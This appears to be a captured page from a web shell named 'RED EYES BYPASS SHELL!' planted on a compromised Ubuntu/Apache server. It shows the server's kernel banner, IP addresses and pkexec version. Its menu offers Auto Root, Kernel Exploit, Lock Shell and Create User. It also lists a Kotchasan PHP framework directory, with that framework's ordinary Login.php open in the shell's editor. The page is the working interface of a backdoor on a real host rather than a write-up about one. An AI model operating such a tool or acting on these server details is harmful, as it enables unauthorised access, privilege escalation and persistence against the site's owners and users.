Linux sothorn202 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Login.php
<?php /** * @filesource Kotchasan/Login.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; use Kotchasan\Http\Request; /** * คลาสสำหรับตรวจสอบการ Login * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class Login extends \Kotchasan\KBase { /** * ตัวแปรบอกว่ามาจากการ submit * true มาจากการ submit * false default * * @var bool */ public static $from_submit = false; /** * ชื่อ Input ที่ต้องการให้ active * login_username หรือ login_password * * @var string */ public static $login_input; /** * ข้อความจาก Login Class * * @var string */ public static $login_message; /** * ตัวแปรเก็บข้อมูลที่ส่งมา * เช่น username, password * * @var array */ public static $login_params = array(); /** * ฟังก์ชั่นตรวจสอบการ login * เข้าระบบสำเร็จคืนค่าแอเรย์ข้อมูลสมาชิก, ไม่สำเร็จ คืนค่าข้อความผิดพลาด * * @param array $params ข้อมูลการ login ที่ส่งมา $params = array('username' => '', 'password' => ''); * * @return string|array */ public function checkLogin($params) { $field_name = reset(self::$cfg->login_fields); if ($params['username'] !== self::$cfg->get($field_name)) { self::$login_input = $field_name; return Language::get('not a registered user'); } elseif ($params['password'] !== self::$cfg->get('password')) { self::$login_input = 'password'; return Language::get('password incorrect'); } else { return array( 'id' => 1, $field_name => $params['username'], 'password' => $params['password'], 'status' => 1 ); } return 'not a registered user'; } /** * ตรวจสอบการ login เมื่อมีการเรียกใช้ class new Login * action=logout ออกจากระบบ * มาจากการ submit ตรวจสอบการ login * ถ้าไม่มีทั้งสองส่วนด้านบน จะตรวจสอบการ login จาก session * * @return \static */ public static function create() { // create class $login = new static(); // ชื่อฟิลด์สำหรับการรับค่าเป็นรายการแรกของ login_fields $field_name = reset(self::$cfg->login_fields); try { // อ่านข้อมูลจากฟอร์ม login ฟิลด์ login_username self::$login_params['username'] = self::$request->post('login_username')->username(); if (empty(self::$login_params['username'])) { if (isset($_SESSION['login']) && isset($_SESSION['login'][$field_name])) { // session self::$login_params['username'] = Text::username($_SESSION['login'][$field_name]); if (isset($_SESSION['login']['token'])) { self::$login_params['token'] = $_SESSION['login']['token']; } elseif (isset($_SESSION['login']['password'])) { self::$login_params['password'] = $_SESSION['login']['password']; } } else { $token = self::$request->cookie('login_token')->filter('a-z0-9'); if (strlen($token) == 40) { // จำการเข้าระบบ self::$login_params['token'] = $token; } else { self::$login_params['username'] = null; } } self::$from_submit = self::$request->post('login_username')->exists(); } elseif (self::$request->post('login_password')->exists()) { self::$login_params['password'] = self::$request->post('login_password')->password(); self::$from_submit = true; } $action = self::$request->request('action')->toString(); // ตรวจสอบการ login if ($action === 'logout' && !self::$from_submit) { // logout ลบ session และ cookie unset($_SESSION['login']); setcookie('login_token', '', time(), '/', HOST, HTTPS, true); self::$login_message = Language::get('Logout successful'); self::$login_params = array(); } elseif ($action === 'forgot') { // ขอรหัสผ่านใหม่ $login = $login->forgot(self::$request); } else { // ตรวจสอบค่าที่ส่งมา if (empty(self::$login_params['username']) && empty(self::$login_params['token'])) { if (self::$from_submit) { self::$login_message = 'Please fill in'; self::$login_input = 'login_username'; } } elseif (empty(self::$login_params['password']) && self::$from_submit) { self::$login_message = 'Please fill in'; self::$login_input = 'login_password'; } elseif (!self::$from_submit || (self::$from_submit && self::$request->isReferer())) { // ตรวจสอบการ login กับฐานข้อมูล $login_result = $login->checkLogin(self::$login_params); if (is_array($login_result)) { // save login session $_SESSION['login'] = $login_result; } else { if (is_string($login_result)) { // ข้อความผิดพลาด self::$login_input = self::$login_input == 'password' ? 'login_password' : 'login_username'; self::$login_message = $login_result; } // logout ลบ session และ cookie unset($_SESSION['login']); setcookie('login_token', '', time(), '/', HOST, HTTPS, true); } } } } catch (InputItemException $e) { self::$login_message = $e->getMessage(); } return $login; } /** * ฟังก์ชั่นส่งอีเมลลืมรหัสผ่าน */ public function forgot(Request $request) { return $this; } /** * ฟังก์ชั่นตรวจสอบสถานะแอดมิน * คืนค่าข้อมูลสมาชิก (แอเรย์) ถ้าเป็นผู้ดูแลระบบและเข้าระบบแล้ว ไม่ใช่คืนค่า null * * @return array|null */ public static function isAdmin() { $login = self::isMember(); return isset($login['status']) && $login['status'] == 1 ? $login : null; } /** * ฟังก์ชั่นตรวจสอบการเข้าระบบ * คืนค่าข้อมูลสมาชิก (แอเรย์) ถ้าเป็นสมาชิกและเข้าระบบแล้ว ไม่ใช่คืนค่า null * * @return array|null */ public static function isMember() { return empty($_SESSION['login']) ? null : $_SESSION['login']; } /** * ตรวจสอบสถานะสมาชิก * แอดมินสูงสุด (status=1) ทำได้ทุกอย่าง * คืนค่าข้อมูลสมาชิก (แอเรย์) ถ้าไม่สามารถทำรายการได้คืนค่า null * * @param array $login * @param array|int $statuses * * @return array|null */ public static function checkStatus($login, $statuses) { if (!empty($login)) { if ($login['status'] == 1) { // แอดมิน return $login; } elseif (is_array($statuses)) { if (in_array($login['status'], $statuses)) { return $login; } } elseif ($login['status'] == $statuses) { return $login; } } // ไม่มีสิทธิ return null; } }
Close